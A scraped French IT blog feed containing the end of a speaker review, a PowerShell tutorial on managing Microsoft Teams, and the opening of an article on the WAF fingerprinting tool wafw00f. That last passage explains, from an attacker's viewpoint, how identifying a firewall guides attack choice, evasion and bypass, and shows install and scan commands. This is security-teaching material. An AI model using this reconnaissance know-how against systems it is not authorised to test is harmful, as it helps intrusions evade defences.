<p>Avec ses<strong> deux anneaux lumineux qui apportent un vrai plus et créent une ambiance sympathique</strong>, l'enceinte Soundcore Flare 2 annonce la couleur. <strong>Le son étant relativement bon (avec le Boost Bass actif)</strong>, cela confirme l'impression visuelle mais il est à noter quand même un <strong>défaut au niveau des boutons de contrôle du dessus</strong>. En effet, ils ne sont pas rétroéclairés alors si la luminosité est faible, on ne voit pas trop ce que l'on fait, ce qui n'est pas pratique. Enfin, avec <strong>une autonomie comprise entre 9 et 10 heures</strong> en fonction du volume sonore et avec la lumière active, c'est tout de même confortable.</p>
<p><strong>Son prix est raisonnable puisqu'elle est vendue à 71,99 euros sur Amazon.</strong></p>
<p><span style="color: #0000ff;"><strong>Offre spéciale : du 2 au 6 mars 2020, le prix passe à 56,99 euros grâce à un coupon applicable directement sur le site Amazon.</strong></span></p>
<p><img class="aligncenter size-full wp-image-34466" src="media/f422827e.soundcore-flare-2-night.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-night.jpg" alt="" width="800" height="600" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-night.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-night-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-night-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-night-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-night-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-night-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>


feed_id: https://www.it-connect.fr/?p=34344
title: Comment gérer ses équipes Teams avec PowerShell ?
uri: Comment-gérer-ses-équipes-Teams-avec-PowerShell
url: https://www.it-connect.fr/comment-gerer-ses-equipes-teams-avec-powershell/
content:
<h2>I. Présentation</h2>
<p>Dans ce nouvel article, nous allons travailler sur Teams, l'outil collaboratif de Microsoft et que l'on retrouve notamment dans le package Office 365. Compte-tenu de mon attirance particulière pour PowerShell, il était temps pour moi de mêler Teams et PowerShell au sein du même article.</p>
<p><strong>Nous allons voir ensemble comment gérer des équipes Teams avec PowerShell.</strong></p>
<h2>II. Installer le module Teams</h2>
<p>Avant toute chose, il est indispensable d'installer le module "MicrosoftTeams" de PowerShell. L'opération s'effectue comme pour tout autre module PowerShell :</p>
<pre>Install-Module -Name MicrosoftTeams -Force</pre>
<p><img class="aligncenter size-full wp-image-34346" src="media/d02de094.manage-teams-with-powershell-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-01.jpg" alt="" width="800" height="225" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-01-550x155.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-01-150x42.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-01-768x216.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-01-160x45.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-01-50x14.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Lorsque le module sera installé sur votre machine, la commande qui suit vous permettra de l'importer dans un script. Du classique, il suffit de spécifier le nom du module "MicrosoftTeams".</p>
<pre>Import-Module MicrosoftTeams</pre>
<p>Je vous invite à exécuter cette commande avant d'aller plus loin afin de vérifier que le module est bien installé.</p>
<h2>III. Se connecter à Teams en PowerShell</h2>
<p>Pour manipuler les équipes Teams de votre tenant Office 365, il faut commencer par se connecter à Teams grâce au cmdlet "<strong>Connect-MicrosoftTeams</strong>". En amont, nous allons <strong>récupérer les identifiants de connexion dans la variable $Credentials</strong> et définir la chaîne sécurisée correspondante au mot de passe en lecture seule grâce à la méthode <em>MakeReadOnly</em> de la propriété "<em>password</em>" de notre objet.</p>
<p>Pour récupérer les identifiants (connectez-vous avec votre compte Office 365) :</p>
<pre>$Credentials = Get-Credential
$Credentials.password.MakeReadOnly()</pre>
<p>Authentifiez-vous auprès de Teams ensuite en réutilisant notre objet de <em>credentials</em> :</p>
<pre>Connect-MicrosoftTeams -Credential $Credentials</pre>
<p>Lorsque la connexion est établie, vous n'aurez pas spécialement de message de validation, mais s'il n'y a pas d'erreur c'est que c'est bon.</p>
<h2>IV. Créer une équipe Teams</h2>
<p>Maintenant que nous sommes connecté à Teams, je vous propose de créer une nouvelle équipe grâce au cmdlet "<strong>New-Team</strong>". L'utilisation de ce cmdlet s'accompagne de plusieurs paramètres, mais rien n'est figé : une équipe peut-être modifiée par la suite.</p>
<p>Nous allons utiliser les options suivantes :</p>
<ul>
<li><strong>-DisplayName</strong> : le nom d'affichage de votre équipe, c'est-à-dire le nom qui va s'afficher dans Teams</li>
<li><strong>-Description</strong> : la description associée à cette équipe</li>
<li><strong>-Visibility</strong> : définir la visibilité de cette équipe, à savoir privée (<em>private</em>) pour approuver les demandes d'accès à cette équipe ou publique (<em>public</em>) pour autoriser n'importe qui de votre entreprise à rejoindre l'équipe</li>
</ul>
<p>Pour l'exemple, je crée une équipe privée nommée "FB-PowerShell" :</p>
<pre>New-Team -DisplayName "FB-PowerShell" -Description 'Teams x PowerShell' -Visibility Private</pre>
<p>A l'exécution de la commande, vous devriez obtenir les informations sur votre équipe en guise de retour. A noter deux propriétés intéressantes : le <strong>GroupId</strong> et le <strong>MailNickName</strong>, mais nous en reparlerons un peu plus loin.</p>
<p><img class="aligncenter size-full wp-image-34347" src="media/09f7f069.manage-teams-with-powershell-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-02.jpg" alt="" width="800" height="104" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-02-550x72.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-02-150x20.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-02-768x100.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-02-160x21.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-02-50x7.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Avec le client lourd Teams ou en ligne, on retrouve bien notre équipe :</p>
<p><img class="aligncenter size-full wp-image-34422" src="media/02085b5a.teams-powershell-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-02.jpg" alt="" width="800" height="521" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-02-550x358.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-02-150x98.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-02-768x500.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-02-160x104.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-02-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Pour récupérer les informations sur une équipe particulière, sur un ensemble d'équipes ou sur toutes les équipes (dans la limite des droits de l'utilisateur connecté), on peut s'appuyer sur le cmdlet <strong>Get-Team</strong>.</p>
<p>On peut filtrer le résultat grâce à Where-Object sans problème, notamment en se basant sur le "DisplayName" c'est-à-dire le nom de l'équipe. Ce qui donne :</p>
<pre>Get-Team | Where {$_.DisplayName -like 'FB*'}</pre>
<p>Cette commande retourne bien l'équipe que je viens de créer.</p>
<pre>GroupId DisplayName Visibility Archived MailNickName Description 
------- ----------- ---------- -------- ------------ ----------- 
3acc74b4-2dec-455a-b36e-1431cb8099f8 FB-PowerShell Private False msteams_f6f9ee Teams x PowerShell</pre>
<p>Le paramètre <strong>-DisplayName</strong> peut-être inclus directement dans la commande <strong>Get-Team</strong>. Si l'on affiche le résultat sous forme de liste ( <em>fl / Format-List </em>), cela va permettre d'afficher toutes les propriétés et donc la configuration de notre nouvelle équipe Teams.</p>
<pre>Get-Team -DisplayName "FB-PowerShell" | fl</pre>
<p>Ce qui retourne :</p>
<pre>GroupId : 3acc74b4-2dec-455a-b36e-1431cb8099f8
DisplayName : FB-PowerShell
Description : Teams x PowerShell
Visibility : Private
MailNickName : msteams_f6f9ee
Classification : 
Archived : False
AllowGiphy : True
GiphyContentRating : moderate
AllowStickersAndMemes : True
AllowCustomMemes : True
AllowGuestCreateUpdateChannels : False
AllowGuestDeleteChannels : False
AllowCreateUpdateChannels : True
AllowDeleteChannels : True
AllowAddRemoveApps : True
AllowCreateUpdateRemoveTabs : True
AllowCreateUpdateRemoveConnectors : True
AllowUserEditMessages : True
AllowUserDeleteMessages : True
AllowOwnerDeleteMessages : True
AllowTeamMentions : True
AllowChannelMentions : True
ShowInTeamsSearchAndSuggestions : True</pre>
<p><strong>On remarque qu'au travers des propriétés sous la forme "Allow*" que l'on peut activer ou désactiver certaines fonctionnalités au sein même de cette équipe.</strong> Par exemple, est-ce que l'on autorise les utilisateurs à supprimer les messages (<em>AllowUserDeleteMessages</em>) ou est-ce que l'on autoriser l'ajout et la suppression d'applications (<em>AllowAddRemoveApps</em>).</p>
<h2>V. Modifier une équipe Teams</h2>
<p>Pour modifier une équipe, notamment pour activer ou désactiver les options que l'on vient de voir précédemment, on va utiliser le cmdlet<strong> <em>Set-Team</em></strong>.</p>
<blockquote><p><strong>Note</strong> : le cmdlet Set-Team regroupe et remplace certains cmdlets des versions précédentes du module, notamment : <em>Set-TeamFunSettings</em>, <em>Set-TeamGuestSettings</em>, <em>Set-TeamMemberSettings</em> et <em>Set-TeamMessagingSettings</em>. Par contre, le cmdlet <em>Set-TeamPicture</em> pour définir l'image de l'équipe reste valide.</p></blockquote>
<p>Pour cibler une équipe en particulier et la modifier, <strong>il faut réaliser la requête sur l'identifiant unique de l'équipe à savoir le <em>GroupId</em>.</strong> Pour le récupérer dans une variable, c'est très simple. Voici l'exemple pour récupérer le <em>GroupId</em> de l'équipe "<em>FB-PowerShell</em>" :</p>
<pre>$TeamGroupId = (Get-Team -DisplayName "FB-PowerShell").GroupId</pre>
<p>Maintenant que notre variable <em>$TeamGroupId</em> contient l'ID de l'équipe, à savoir "<em>3acc74b4-2dec-455a-b36e-1431cb8099f8</em>" dans mon cas, on peut la modifier sans difficulté.</p>
<p>Lorsque l'on crée une équipe Team, par défaut l'adresse e-mail associée au groupe est  aléatoire si l'on ne spécifie pas de valeur spécifique.</p>
<p>Par exemple, lorsque j'ai créé mon équipe "FB-PowerShell", cela a créé automatiquement l'adresse e-mail "msteams_f6f9ee@it-connect.fr" pour le groupe Office 365. Cela n'est pas très sexy et pas idéal pour communiquer dessus...</p>
<p>A la création, nous aurions dû utiliser le paramètre "<strong>MailNickName</strong>" pour préciser directement une adresse e-mail à utiliser (en tant que <em>PrimarySmtpAddress</em>). Puisque nous ne l'avons pas fait, on va le modifier dès à présent grâce au <strong>cmdlet Set-Team</strong>, ce qui donne :</p>
<pre>Set-Team -GroupId $TeamGroupId -MailNickname "fb-powershell"</pre>
<p>La modification apparaît ensuite en ligne :</p>
<p><img class="aligncenter size-full wp-image-34423" src="media/bb11b4d5.teams-powershell-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-03.jpg" alt="" width="600" height="490" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-03.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-03-550x449.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-03-150x123.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-03-160x131.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-03-50x41.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Par ailleurs, on remarque que les différentes propriétés de l'équipe sont modifiables via ce cmdlet ; il suffit d'utiliser le(s) bon(s) paramètre(s).</p>
<p><img class="aligncenter size-full wp-image-34349" src="media/af57efa5.manage-teams-with-powershell-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-04.jpg" alt="" width="800" height="329" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-04.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-04-550x226.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-04-150x62.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-04-768x316.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-04-160x66.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-04-50x21.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>&nbsp;</p>
<h2>VI. Lister, créer et supprimer un canal dans Teams</h2>
<p>L'équipe étant créée et configurée, nous allons pouvoir l'organiser en créant un ou plusieurs canaux. Par défaut, le canal "Général" est directement ajouté. Pour récupérer les canaux de notre équipe, on va s'appuyer encore sur le GroupId de l'équipe et on va l'utiliser dans le cmdlet <strong>Get-TeamChannel</strong>.</p>
<p>On peut vérifier assez facilement, que, pour le moment nous avons seulement le canal "<em>Général</em>".</p>
<pre>$TeamGroupId = (Get-Team -DisplayName "FB-PowerShell").GroupId
Get-TeamChannel -GroupId $TeamGroupId</pre>
<p><img class="aligncenter size-full wp-image-34348" src="media/ee0044f6.manage-teams-with-powershell-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-03.jpg" alt="" width="800" height="173" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-03.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-03-550x119.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-03-150x32.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-03-768x166.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-03-160x35.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/manage-teams-with-powershell-03-50x11.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>On va créer un canal nommé "<em>PowerShell Fans</em>", ça me semble plutôt cool comme nom 😃</p>
<p>Le cmdlet qui sert à créer un canal est "<strong>New-TeamChannel</strong>", et nous allons utiliser plusieurs paramètres :</p>
<ul>
<li>-GroupId : équipe ciblée</li>
<li>-DisplayName : nom du canal, tel qu'il s'affichera dans Teams</li>
<li>-Description : décrire, éventuellement, le canal</li>
</ul>
<p>Il n'y a pas d'autres options proposées pour le moment. Ce qui donne la commande suivante :</p>
<pre>New-TeamChannel -GroupId $TeamGroupId -DisplayName "PowerShell Fans" -Description "PowerShell &lt;3"</pre>
<p>Je le retrouve bien dans Teams au sein de l'équipe "FB-PowerShell" :</p>
<p><img class="aligncenter size-full wp-image-34421" src="media/3ac3ad86.teams-powershell-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-01.jpg" alt="" width="800" height="154" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-01-550x106.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-01-150x29.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-01-768x148.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-01-160x31.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-01-50x10.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Il est à noter que le canal "Général", créé par défaut dans chaque équipe, ne peut pas être supprimé. Par contre, vous pouvez supprimer un autre canal sans problème. Si l'on veut supprimer celui que l'on vient de créer, cela donne :</p>
<pre>Remove-TeamChannel -GroupId $TeamGroupId -DisplayName "PowerShell Fans"</pre>
<p>&nbsp;</p>
<h2>VII. Ajouter et retirer des membres à une équipe Teams</h2>
<p>Le principe de Teams c'est de travailler en équipe donc créer une équipe et être seul dedans, il n'y a pas grand intérêt.</p>
<p>Le module PowerShell pour Teams dispose des commandes nécessaires pour ajouter et retirer des membres d'une équipe Teams. Il s'agit de la commande <em>Add-TeamUser</em> pour l'ajout d'un membre, et <em>Remove-TeamUser</em> pour la suppression d'un membre. Là encore, nous allons utiliser le GroupId de l'équipe dans notre requête.</p>
<p>Pour ajouter "<em>mon-user@it-connect.fr</em>" à notre équipe, on va utiliser :</p>
<pre>Add-TeamUser -GroupId $TeamGroupId -User "mon-user@it-connect.fr"</pre>
<p>A l'inverse pour le retirer, on va utiliser la même syntaxe en changeant simplement le cmdlet :</p>
<pre>Remove-TeamUser -GroupId $TeamGroupId -User "mon-user@it-connect.fr"</pre>
<p>Lorsqu'un utilisateur est ajouté à une équipe, si vous spécifiez le paramètre "<strong>-Role</strong>", vous pouvez indiquer s'il s'agit d'un simple membre (<em>Member</em>) ou s'il est propriétaire de l'équipe (<em>Owner</em>).</p>
<p><img class="aligncenter size-full wp-image-34424" src="media/b1dc87d1.teams-powershell-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-04.jpg" alt="" width="400" height="110" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-04.jpg 400w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-04-150x41.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-04-160x44.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/teams-powershell-04-50x14.jpg 50w" sizes="(max-width: 400px) 100vw, 400px" /></p>
<p>Enfin, le cmdlet "<strong>Get-TeamUser</strong>" peut-être utilisé pour lister les membres d'une équipe.</p>
<pre>Get-TeamUser -GroupId $TeamGroupId</pre>
<p>&nbsp;</p>
<h2>VIII. Se déconnecter de Teams en PowerShell</h2>
<p>Pour finir, nous allons faire les choses bien : les manipulations étant terminées, on va se déconnecter proprement de Teams. Pour cela, Microsoft a tout prévu : le cmdlet <em>Disconnect-MicrosoftTeams</em> est là pour ça. Pour l'utiliser, il n'y a aucun paramètre à utiliser, seulement exécuter la commande :</p>
<pre>Disconnect-MicrosoftTeams</pre>
<p>Cet article touche à sa fin, j'espère qu'il vous sera utile quand viendra l'heure pour vous de manipuler Teams dans un script. N'hésitez pas si vous avez des questions.</p>


feed_id: https://www.it-connect.fr/?p=33922
title: wafw00f – étude et utilisation d’un outil de détection de WAF
uri: wafw00f-étude-et-utilisation-d-un-outil-de-détection-de-WAF
url: https://www.it-connect.fr/wafw00f-etude-et-utilisation-dun-outil-de-detection-de-waf/
content:
<h2>I. Présentation</h2>
<p>Nous allons dans cet article nous intéresser à l'outil <em>wafw00f</em>, son utilisation (basique) et surtout son fonctionnement, car il est toujours intéressant de savoir comment fonctionnement nos outils, et notamment quelles sont leurs limites.</p>



<p><em>wafw00f </em>est un outil détection de pare-feu applicatif web (ou WAF, <em>Web Application Firewall</em>). Son rôle est d'aider a identifier la présence d'un pare-feu, mais aussi sa technologie.</p>



<blockquote class="wp-block-quote">Un <strong>Web Application Firewall</strong> (WAF) est un type de pare-feu qui protège le serveur d'applications Web dans le <em>backend </em>contre diverses attaques. Le WAF garantit que la sécurité du serveur Web n'est pas compromise en examinant les paquets de requête HTTP / HTTPS et les modèles de trafic Web.  </blockquote>



<figure id="attachment_34072" aria-describedby="caption-attachment-34072" style="width: 800px" class="wp-caption aligncenter"><a href="media/143b2330.WAF_Archi.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi.png"><img class="size-large wp-image-34072" src="media/b0e3e0e5.WAF_Archi-800x238.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi-800x238.png" alt="" width="800" height="238" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi-800x238.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi-550x164.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi-150x45.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi-768x229.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi-160x48.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/WAF_Archi.png 897w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34072" class="wp-caption-text">Source : https://fr.wikipedia.org/wiki/Web_application_firewall</figcaption></figure>
<h2>II. Détecter un WAF, pour quoi faire ?</h2>



<p>Encore une fois,<strong> la cartographie et l'identification des technologies utilisées est une étape importante</strong> qui va "guider" l'attaquant dans ses attaques. La version X.X d'Apache Tomcat est vulnérable à une attaque de type exécution de commande à distance ? Il me suffit d'identifier si ma cible utilise cette version et cette techno et le tour est joué. Au contraire, si je n'ai aucune idée des technologies utilisées, je vais devoir exécuter un grand nombre d'attaques et de tests (dont la majorité sont inutiles) et ainsi <strong>augmenter mes chances de me faire détecter.</strong></p>



<p>Pour les WAF, leur identification a plusieurs objectifs :</p>



<ul>
<li>Il est toujours intéressant de savoir<strong> si nos attaques peuvent être menées librement</strong> sur l'application web visée<strong> ou si un système en amont est présent pour les bloquer</strong>, il faudra alors trouver des contournements ou des astuces pour passer outre ce système (encodage simple, encodage multiple, etc. ). Les méthodes de contournement de WAF peuvent faire l’objet de plusieurs longs articles tellement c'est un sujet vase.</li>
<li><strong>Identifier la technologie</strong> précise d'un WAF nous permet potentiellement d’utiliser des <strong>méthodes contournement connues </strong>pour cette technologie</li>
<li>Comme les services et applications web,<strong> les WAF peuvent eux aussi être la cible de vulnérabilités connues.</strong> Prenons par exemple les pare-feu Big IP qui, dans leur configuration par défaut, faisaient fuiter les IP internes des serveurs web qu'ils étaient censé protéger (voir mon article <a href="https://ogma-sec.fr/bigip_backendscan-cookies-bigip-et-fuite-dinformation/" target="_blank" rel="noreferrer noopener">BigIP_backendScan : cookies BigIP et fuite d’information</a>)</li>
<li>Enfin, lorsque l'attaquant souhaite être discret, la présence ou non d'un WAF est une information importante à prendre en compte car<strong> ceux-ci peuvent lever des alertes en direction des administrateurs</strong> et journaliser les accès et requêtes suspects.</li>
</ul>



<h2>III. Utilisation standard de wafw00f</h2>



<p><em>wafw00f </em>est installé par défaut sur la distribution KaliLinux. Vous pouvez également l'installer depuis les dépôts Debian par exemple :</p>



<p><code>apt-get install wafw00f</code></p>



<p>Ou depuis le Github du projet :</p>



<pre class="wp-block-code"><code>git clone https://github.com/EnableSecurity/wafw00f
cd  wafw00f  
python setup.py install </code></pre>



<p>L'utilisation de <em>wafw00f </em>est tout aussi simple, si je souhaite repérer la présence d'un WAF sur <em>wikipedia.org</em> :</p>



<pre class="wp-block-code"><code>wafw00f https://wikipedia.org</code></pre>



<p>La même chose sur mon propre blog, hébergé par OVH :</p>
<figure id="attachment_34073" aria-describedby="caption-attachment-34073" style="width: 580px" class="wp-caption aligncenter"><a href="media/c79e0c65.wafw00f-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04.png"><img class="size-full wp-image-34073" src="media/c79e0c65.wafw00f-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04.png" alt="" width="580" height="305" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04.png 580w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04-550x289.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04-150x79.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04-160x84.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-04-390x205.png 390w" sizes="(max-width: 580px) 100vw, 580px" /></a><figcaption id="caption-attachment-34073" class="wp-caption-text">Exécution standard de wafw00f sur une application web</figcaption></figure>



<p>On voit ici que mon blog semble ici être derrière un pare-feu<em> Juniper WebApp Secure</em>. Différentes options sont à notre disposition. On peut notamment lister toutes les technologies WAF pouvant être identifiées par <em>wafw00f </em>avec l'option <em>--list</em> :</p>



<div class="wp-block-image">
<figure class="aligncenter">
<figure id="attachment_34074" aria-describedby="caption-attachment-34074" style="width: 495px" class="wp-caption aligncenter"><a href="media/c2c82636.wafw00f-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-2.png"><img class="size-full wp-image-34074" src="media/c2c82636.wafw00f-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-2.png" alt="" width="495" height="468" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-2.png 495w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-2-150x142.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-2-160x151.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-2-50x47.png 50w" sizes="(max-width: 495px) 100vw, 495px" /></a><figcaption id="caption-attachment-34074" class="wp-caption-text">Extrait de la liste des pare-feu pouvant être identifiés</figcaption></figure>
</figure>
</div>



<p>En date d'écriture de cet article, 123 technologies différentes peuvent être identifiées par <em>wafw00f</em>.</p>



<h2>IV. Fonctionnement de <em>wafw00f</em></h2>



<p>La méthodologie de détection de <em>wafw00f </em>peut ironiquement être comparée à celle d'un antivirus. Nous allons en effet voir que principalement deux méthodes sont utilisées.</p>



<p>Commençons par regarder comment il fonctionne de manière globale, son code étant en source ouverte (open source), rien de plus simple que d'aller sur le Github du projet : <a href="https://github.com/EnableSecurity/wafw00f" target="_blank" rel="noreferrer noopener" aria-label="https://github.com/EnableSecurity/wafw00f (s’ouvre dans un nouvel onglet)">https://github.com/EnableSecurity/wafw00f</a></p>



<p>En parcourant le code de <em>wafw00f </em>, on observe dans le répertoire <em>plugins</em> un grand nombre de fichiers qui possèdent en général moins de 3 ou 4 tests :</p>



<div class="wp-block-image">
<figure class="aligncenter is-resized">
<figure id="attachment_34075" aria-describedby="caption-attachment-34075" style="width: 674px" class="wp-caption aligncenter"><a href="media/b820a82b.wafw00f-09.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-09.png"><img class="size-full wp-image-34075" src="media/b820a82b.wafw00f-09.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-09.png" alt="" width="674" height="841" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-09.png 674w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-09-550x686.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-09-120x150.png 120w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-09-128x160.png 128w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-09-40x50.png 40w" sizes="(max-width: 674px) 100vw, 674px" /></a><figcaption id="caption-attachment-34075" class="wp-caption-text">Extrait de la liste des plugins de wafw00f</figcaption></figure>
<figcaption></figcaption>
</figure>
</div>



<p>Ces grâce à ces tests que <em>wafw00f </em>détecte une signature, technique ou comportement d'un WAF, ils sont joués les uns à uns auprès d'une cible jusqu'à détection d'une technologie. <strong>Tous les pare-feu ne réagissent, par défaut, pas aux mêmes charges utiles et pas de la même façon</strong>, certains ajoutent des en-têtes ou des cookies dans la réponse du serveur, d'autres ont des pages d'erreurs spécifiques, etc. <em>Wafw00f </em> se base sur les deux méthodes suivantes pour détecter la présence d'un WAF et en déduire sa technologie.</p>



<h3>A. L'analyse par "signature"</h3>



<p>L’outil va se baser sur la présence d'un cookie ou d'un en-tête dans les réponses du serveur lors de l'envoi de requêtes "normales" (ne contenant pas de charges utiles malveillantes) et de requêtes malveillantes . Ces cookies sont ajoutés non pas par l'application web, mais par le WAF lui-même parfois sans que la requête n'atteigne l'application web (si elle est bloquée), parfois juste pour montrer que le pare-feu a bien analysé la requête. On peut par exemple voir cela pour <strong>cloudflare </strong>ou <strong>barracuda</strong> :</p>



<figure class="wp-block-image">
